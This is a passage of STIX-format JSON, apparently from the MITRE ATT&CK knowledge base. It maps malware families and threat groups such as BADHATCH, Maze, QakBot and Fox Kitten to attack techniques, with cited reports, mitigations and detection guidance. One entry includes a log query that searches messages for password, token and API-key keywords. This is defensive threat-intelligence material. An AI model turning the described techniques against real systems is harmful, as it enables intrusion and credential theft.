19)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcc531dd-6136-44ac-963b-3ebab0028d96","type":"relationship","created":"2020-01-31T12:32:08.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory","description":"Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.","source_name":"Securing bash history"}],"modified":"2022-02-17T13:14:39.878Z","description":"Making the environment variables associated with command history read only may ensure that the history is preserved.(Citation: Securing bash history)","relationship_type":"mitigates","source_ref":"course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcca4e73-fa98-4d67-8ed3-590da7a32d43","type":"relationship","created":"2021-09-01T17:51:12.108Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary 2021 Threat Detection Report March 2021","url":"https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf?mkt_tok=MDAzLVlSVS0zMTQAAAF_PIlmhNTaG2McG4X_foM-cIr20UfyB12MIQ10W0HbtMRwxGOJaD0Xj6CRTNg_S-8KniRxtf9xzhz_ACvm_TpbJAIgWCV8yIsFgbhb8cuaZA","description":"Red Canary. (2021, March 31). 2021 Threat Detection Report. Retrieved August 31, 2021."}],"modified":"2021-10-01T17:48:10.649Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can be used to collect data from local file systems.(Citation: Red Canary 2021 Threat Detection Report March 2021)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dccba6fb-529c-44c9-9d98-bea2bfc43f43","type":"relationship","created":"2022-03-21T22:15:27.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:16:58.712Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) has been disguised as a Growl help file.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcd2acb8-0f4a-4007-88ec-0962d66399cf","type":"relationship","created":"2020-11-06T19:39:44.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.054Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can save collected system information to a file named \"info\" before exfiltration.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcd5b361-b86b-47c7-8ce8-85918e00a224","type":"relationship","created":"2020-10-09T16:24:39.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T16:24:39.921Z","description":"[Maze](https://attack.mitre.org/software/S0449) has stopped SQL services to ensure it can encrypt any database.(Citation: Sophos Maze VM September 2020) ","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcd99f6a-c554-4b04-a962-dc3a5f89cdf9","type":"relationship","created":"2020-12-22T17:02:53.301Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."},{"source_name":"BleepingComputer Molerats Dec 2020","url":"https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/","description":"Ilascu, I. (2020, December 14). Hacking group’s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.800Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) can use WMI for execution.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dcda00f6-f5c1-412f-acb1-a431235fc6cc","type":"relationship","created":"2021-10-13T17:31:53.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-13T17:31:53.815Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can execute WMI queries to gather information.(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dcdf4518-1248-4549-b536-193ab1848d31","created":"2023-08-01T18:29:47.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"},{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:36:33.466Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can inject itself into a new `svchost.exe -k netsvcs` process using the asynchronous procedure call (APC) queue.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dcdfc277-bf6f-4512-9da4-1040516fdaaf","created":"2024-09-27T12:45:40.282Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:45:40.282Z","description":"Monitor for and analyze files which contain content with large entropy, as this may indicate potentially malicious compressed or encrypted data.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dce1aedd-ea3f-4301-b44b-dae14d411697","created":"2024-01-18T18:50:09.391Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T18:50:09.391Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can change or create the last access or write times.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dce314c1-0f13-4b6e-8732-607357cc9668","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor newly executed processes that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd002813-b9b0-435f-8fb1-ee015c401280","type":"relationship","created":"2020-06-10T20:19:59.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.386Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to identify the MAC address of a compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd033098-eb56-4c17-90d7-c7673f04bcd6","created":"2022-09-02T18:36:01.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T18:53:25.368Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has acquired multiple servers for some of their operations, using each server for a different role.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd050277-bfac-41ba-a40f-7970f2d36189","created":"2019-04-17T22:02:11.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.926Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim’s machine using WMI.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd06865b-d8fa-4626-8ebd-e75289377c4c","type":"relationship","created":"2021-11-19T16:41:11.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.688Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can identify the username on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd06ea48-6dde-4753-8f2b-c2fb56bea4f4","type":"relationship","created":"2021-03-12T16:55:09.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-12T17:03:27.485Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) can exfiltrate files over the existing C2 channel.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd0c5079-1bd3-45fa-b8e7-aabf0a5513b7","type":"relationship","created":"2020-12-22T20:52:34.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.369Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used tools including NMAP to conduct broad scanning to identify open ports.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd0dbfef-065c-47c9-a9e3-ac8d02f7ca42","created":"2023-09-27T20:03:28.692Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:03:28.692Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can modify the Registry to set the ServiceDLL for a service created by the malware for persistence.(Citation: MoustachedBouncer ESET August 2023)\n","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd141b03-0495-4097-afa2-8c4b04042052","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd1783dd-53ce-478e-93af-4bad4e9314b2","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for API calls that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--dd18682c-873d-4b26-b41a-2696101f8eb8","created":"2022-04-05T19:57:09.304Z","x_mitre_version":"0.1","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can retrieve network information from a compromised host.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T19:57:09.304Z","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd2236c2-3f6e-492b-bbb5-07b672652378","created":"2023-03-17T15:06:39.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Slack Help Center Access Logs","description":"Slack Help Center. (n.d.). View Access Logs for your workspace. Retrieved April 10, 2023.","url":"https://slack.com/help/articles/360002084807-View-Access-Logs-for-your-workspace"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:25:41.169Z","description":"Monitor application logs for activity that may highlight malicious attempts to access application data, especially abnormal search activity targeting passwords and other artifacts related to credentials.(Citation: Slack Help Center Access Logs)\n\nAnalytic 1 - Abnormal search activity targeting passwords and other credential artifacts.\n\n index=security sourcetype IN (\"gsuite:activity\", \"o365:audit\", \"slack:events\", \"teams:events\") \n(action IN (\"message_send\", \"file_upload\") AND (message_content=\"*password*\" OR message_content=\"*token*\" OR message_content=\"*apikey*\" OR message_content=\"*credentials*\" OR message_content=\"*login*\" OR file_name=\"*password*\" OR file_name=\"*token*\" OR file_name=\"*apikey*\" OR file_name=\"*credentials*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd26d63b-ecd5-4523-8871-c2d5c8523005","created":"2024-03-24T19:44:47.504Z","revoked":false,"external_references":[{"source_name":"Cider Security Top 10 CICD Security Risks","description":"Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.","url":"https://www.cidersecurity.io/top-10-cicd-security-risks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-24T19:44:47.504Z","description":"Where possible, consider requiring developers to pull from internal repositories containing verified and approved packages rather than from external ones.(Citation: Cider Security Top 10 CICD Security Risks)","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd28aa9c-762c-4726-b402-6536bae9490c","created":"2023-08-01T18:30:51.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.571Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can impersonate a `lsass.exe` or `vmtoolsd.exe` token.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd2c9cb1-9c5a-4c97-83e4-4beee309a7cb","type":"relationship","created":"2020-08-10T14:43:04.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.559Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can use TCP in communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dd2ef18a-1072-4f5b-a360-a01017b421e2","created":"2021-11-29T18:52:28.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds 